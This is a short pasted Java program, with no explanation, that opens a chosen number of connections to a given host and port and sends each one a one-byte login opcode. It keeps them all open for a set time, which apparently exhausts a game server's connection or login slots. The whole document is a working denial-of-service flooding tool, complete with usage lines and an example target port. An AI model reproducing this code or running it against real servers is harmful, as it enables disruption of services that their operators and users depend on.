rendered paste bodyimport java.nio.channels.SocketChannel;import java.nio.ByteBuffer;import java.net.InetSocketAddress;import java.io.IOException;import java.util.ArrayList;public class Main{ private static ArrayList<SocketChannel> channels; private static int count = 100, port; private static long keep = 60; private static String host; private static ByteBuffer login; public static void main(String[] args) { if ( args.length < 4 ) { System.err.println( "[e Usage: java Main <host> <port> <amount> <keep>]" ); System.err.println( "[e Example: java Main localhost 43594" ); return; } if ( args[1].matches( "\\d+" ) && args[2].matches( "\\d+" ) && args[3].matches( "\\d+" ) ) { port = Integer.parseInt( args[1] ); count = Integer.parseInt( args[2] ); keep = Integer.parseInt( args[3] ); } else { System.err.println( "[e Usage: java Main <host> <port> <amount> <keep>]" ); System.err.println( "[e Example: java Main localhost 43594 100 60" ); return; } host = args[0]; login = ByteBuffer.allocateDirect( 1 ); login.put( ( byte ) 14 ); login.flip( ); try { channels = new ArrayList< SocketChannel >( count ); for ( int i = 0; i < count; i++ ) { channels.add( i, openChannel( host, port ) ); } for ( SocketChannel s : channels ) while ( !s.finishConnect( ) ) ; for ( SocketChannel s : channels ) { s.write( login ); } Thread.sleep( keep * 1000 ); for ( SocketChannel s : channels ) s.close(); } catch ( IOException e ) { // TODO - Act on specific messages e.printStackTrace( ); } catch ( InterruptedException e1 ) { // TODO - Nothing } } public static SocketChannel openChannel(String host, int port) throws IOException { SocketChannel chan = SocketChannel.open(); chan.configureBlocking(false); chan.connect(new InetSocketAddress(host, port)); return chan; }}